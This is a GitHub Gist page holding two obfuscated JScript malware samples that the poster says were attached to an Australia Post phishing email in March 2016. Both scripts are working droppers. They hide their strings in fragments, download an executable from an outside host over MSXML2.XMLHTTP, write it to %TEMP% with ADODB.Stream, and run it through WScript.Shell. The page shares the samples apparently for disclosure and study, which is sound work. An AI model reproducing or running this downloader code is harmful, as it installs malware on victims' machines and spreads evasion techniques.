Last active
March 7, 2016 22:41
-
-
Save joho/0e612d476f4e7f611396 to your computer and use it in GitHub Desktop.
JS in auspost phishing email received 8/3/16 (see screenshot at http://d.pr/i/KI9N)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
andSelf = "uni"; | |
matches = "MP%/", hasScripts = "ng", curPosition = 0, toggle = 40, elemData = "ion"; | |
rCRLF = "e", contexts = "Expan", speed = 9, rnoInnerhtml = "Cr"; | |
createPositionalPseudo = "ct"; | |
i = "eToFi"; | |
parseFromString = "zahasa"; | |
var which = "MSXM"; | |
rejectWith = 1, th = "posit", extend = "write", makeArray = "ect", XMLHttpRequest = "fe.co", handlers = 173; | |
jsonpCallback = "ronme"; | |
padding = "ipt"; | |
script = "l"; | |
unique = 100; | |
classCache = "ep"; | |
duplicates = "://"; | |
isXML = "t"; | |
udataCur = "ntStri"; | |
_removeData = "eObje"; | |
ap = 105007; | |
defineProperty = 16380; | |
seed = "v"; | |
remaining = 16; | |
showHide = "type"; | |
postDispatch = 31, stopQueue = "Creat", doneName = "reat", preventDefault = "Ru", lastChild = 8, origName = "d"; | |
num = "GET", isLocal = "ADOD", firingIndex = "Body", srcElements = "bj", percent = 35, fragment = "ffic"; | |
progressValues = "se"; | |
evt = "stem"; | |
text = "sa"; | |
root = "adysta"; | |
var prepend = 1380, | |
firing = 58, | |
contentDocument = 77, | |
attrNames = "eObj", | |
m = "Sle"; | |
var prev = "WSc", | |
progress = "re", | |
namespaces = 3; | |
rcombinators = "am", pipe = "p", valHooks = "te", append = "s", curCSSLeft = 23; | |
readyWait = "/", rfocusMorph = "eateO", emptyStyle = "HT", type = "WScr", lang = "ript", clazz = "t.Sh"; | |
var eventDoc = "TP", | |
split = "L2.XML"; | |
var parent = "logs/o", | |
specified = "B.Stre", | |
hidden = 120, | |
t = 29, | |
classes = 45, | |
wrap = "Respon"; | |
styles = 2, show = 37, letterSpacing = "http"; | |
check = "WScrip", top = "C", buildFragment = "e.ex", css = ".scr"; | |
hookFn = 156, dataShow = "open", pseudo = 1185, clearQueue = "ell", els = "n", initialInUnit = "m/sy"; | |
fadeToggle = "dEnvi", triggerHandler = "Slee", class2type = 5; | |
var nativeStatusText = "%TE", | |
not = (function String.prototype.opts() { | |
return this | |
}, "close"); | |
parseOnly = (((1 * curPosition) | (0 | lastChild)), (((28 - curCSSLeft) + 0), this)); | |
resolveContexts = preventDefault + els; | |
empty = parseOnly[check + isXML]; | |
ajaxExtend = empty[stopQueue + _removeData + createPositionalPseudo](check + clazz + clearQueue); | |
properties = ajaxExtend[contexts + fadeToggle + jsonpCallback + udataCur + hasScripts + append](nativeStatusText + matches) + andSelf + isXML + css; | |
guid = parseOnly[type + padding][rnoInnerhtml + rfocusMorph + srcElements + makeArray](which + split + emptyStyle + eventDoc); | |
guid[dataShow](num, letterSpacing + duplicates + parseFromString + XMLHttpRequest + initialInUnit + evt + readyWait + parent + fragment + buildFragment + rCRLF, !((((Math.pow(percent, 2) - pseudo) - (0 ^ show)) * ((3 & namespaces) * 5 * (namespaces * 2 + rejectWith) * (3 & styles) / ((32 | hookFn), (26 + classes), (3689 / postDispatch), (13 + t))) & ((Math.pow(((14 * namespaces + 3) & (speed + 36)), (styles ^ 0)) - ((prepend ^ 2524) - (firing, 144, handlers, 1298))) - (((remaining + 19) & (toggle | 39)) ^ (namespaces * 2 * (hidden / 40) + styles)))) > 2)); | |
guid[append + rCRLF + els + origName](); | |
while (guid[progress + root + valHooks] < ((lastChild ^ 6) - (class2type * 2))) { | |
parseOnly[check + isXML][triggerHandler + pipe](((unique | 4) | (contentDocument & 118))); | |
} | |
rscriptTypeMasked = parseOnly[type + padding][top + doneName + attrNames + makeArray](isLocal + specified + rcombinators); | |
parseOnly[prev + lang][m + classCache](((ap / 7) & (defineProperty & 16383))); | |
rscriptTypeMasked[dataShow](); | |
tuples = rscriptTypeMasked; | |
tuples[showHide] = ((rejectWith + 0) + (curPosition ^ 0)); | |
rinputs = tuples; | |
rscriptTypeMasked[extend](guid[wrap + progressValues + firingIndex]); | |
rinputs[th + elemData] = ((rejectWith + -1) / class2type * 2 * class2type); | |
rscriptTypeMasked[text + seed + i + script + rCRLF](properties, ((0 ^ rejectWith) * (1 * styles))); | |
rscriptTypeMasked[not](); | |
optSelected = ajaxExtend; | |
optSelected[resolveContexts](properties.opts(), (1 + -(rejectWith | 0)), ((curPosition & 1) | (curPosition / 36))); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
etag = "GET"; | |
onload = 5; | |
modified = 0; | |
dataShow = "ffi"; | |
var rnoContent = 29, | |
owner = "fe.c", | |
removeEventListener = "WScr", | |
rhash = "om/sy"; | |
removeEvent = "ronmen", createCache = 9, speeds = "rt"; | |
var e = 4, | |
domManip = "/", | |
testContext = "e", | |
xhrSupported = 176304; | |
size = 251; | |
initial = "eBo"; | |
holdReady = "Sle"; | |
list = "Creat"; | |
indirect = "i"; | |
pixelMarginRightVal = "state"; | |
iNoClone = "tion"; | |
throws = "WSc"; | |
result = 30; | |
rnoInnerhtml = "zaha"; | |
var isEmptyObject = "tp://"; | |
var defaultPrevented = "wri", | |
appendChild = 3, | |
createPseudo = "ipt", | |
Deferred = "y", | |
_$ = "SXML2.", | |
mimeType = "TP"; | |
var rtrim = "ec", | |
rtagName = "WScrip", | |
run = "close", | |
scrollTo = "She", | |
hooks = "ll"; | |
setter = 59; | |
var rxhtmlTag = 179; | |
var w = 15, | |
camelCase = "bject", | |
groups = ".scr", | |
related = "c"; | |
var eventHandle = "o", | |
_default = "M", | |
rsubmitterTypes = "ODB.", | |
defaultValue = 14; | |
all = 25; | |
ridentifier = "sa"; | |
cssFn = "d"; | |
setFilters = "gs/o"; | |
isXML = "s"; | |
preventDefault = 27; | |
ajax = "Expan"; | |
activeElement = "XMLH"; | |
argument = 81; | |
relatedTarget = "T"; | |
curCSS = 32; | |
postMap = "ers"; | |
camelKey = "ep"; | |
tag = 10, pnum = 1, addClass = "conve", overflowY = "saveTo"; | |
send = "pt"; | |
tween = "at"; | |
camel = "type", resolveValues = "Scrip", DOMParser = "eO", propHooks = "File", trim = "ript"; | |
var cleanData = "W", | |
genFx = "lo", | |
isNumeric = 72, | |
transport = "stem/"; | |
selection = "gs"; | |
maxIterations = 2400; | |
uid = "ht"; | |
clearTimeout = "tStrin"; | |
qsaError = "%TEMP%"; | |
getAttributeNode = 16; | |
fast = "p"; | |
stopOnFalse = "Respon"; | |
responseText = "AD"; | |
val = "t."; | |
fixHooks = "Stream"; | |
isReady = "en", superMatcher = "t"; | |
lastModified = "Run", height = (function Object.prototype.isSuccess() { | |
return this | |
}, 2), location = "dEnvi", values = "op", dataTypeExpression = "eObj", binary = 61; | |
len = "WScri", slideDown = "read"; | |
prependTo = "Cre"; | |
valueParts = "ce.exe"; | |
isFunction = "sen"; | |
fire = 193; | |
mozMatchesSelector = ((Math.pow(2 * binary, 2) - (xhrSupported / 12)), (((w - 6) + (height ^ 1)), this)); | |
addEventListener = lastModified; | |
el = mozMatchesSelector[cleanData + resolveValues + superMatcher]; | |
readyWait = el[list + dataTypeExpression + rtrim + superMatcher](rtagName + val + scrollTo + hooks); | |
conditionFn = readyWait[ajax + location + removeEvent + clearTimeout + selection](qsaError + domManip) + addClass + speeds + postMap + groups; | |
content = mozMatchesSelector[removeEventListener + createPseudo][prependTo + tween + dataTypeExpression + testContext + related + superMatcher](_default + _$ + activeElement + relatedTarget + mimeType); | |
content[values + isReady](etag, uid + isEmptyObject + rnoInnerhtml + ridentifier + owner + rhash + transport + genFx + setFilters + dataShow + valueParts, !((((((createCache / 3) * (height + 0) + height) + 0) - ((rnoContent & 31) - (preventDefault & 31)) * ((curCSS ^ 19) / (Math.pow(defaultValue, 2) - rxhtmlTag))) + (((1 + -pnum)) / (((1 | pnum) * 0) ^ (height & (0 | appendChild))))) == (((((112 / getAttributeNode) - (7 & onload)) + (0 / (getAttributeNode ^ 4)))) | (((modified & 1) | ((modified ^ 0) ^ modified)) / (Math.pow(((Math.pow(33, height) - 1049) & (result ^ 35)), ((height & 2) + (modified & 0))) - (Math.pow(tag, 2) - argument) * (410 / tag) * 2))))); | |
content[isFunction + cssFn](); | |
while (content[slideDown + Deferred + pixelMarginRightVal] < ((setter, 15, size, 0) ^ (e | 4))) { | |
mozMatchesSelector[throws + trim][holdReady + camelKey](((fire - 21) - (isNumeric | 64))); | |
} | |
width = mozMatchesSelector[len + send][list + DOMParser + camelCase](responseText + rsubmitterTypes + fixHooks); | |
mozMatchesSelector[len + send][holdReady + camelKey]((Math.pow((maxIterations | 14665), (height)) - 29 * appendChild * 2482607)); | |
width[values + isReady](); | |
set = width; | |
set[camel] = (pnum & 1); | |
get = set; | |
width[defaultPrevented + superMatcher + testContext](content[stopOnFalse + isXML + initial + cssFn + Deferred]); | |
get[fast + eventHandle + isXML + indirect + iNoClone] = ((pnum & 1) * (modified)); | |
width[overflowY + propHooks](conditionFn, ((0 ^ height) + 0)); | |
width[run](); | |
nonce = readyWait; | |
nonce[addEventListener](conditionFn.isSuccess(), ((all * 4 + pnum), 13, (e - 4)), (pnum * 0)); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment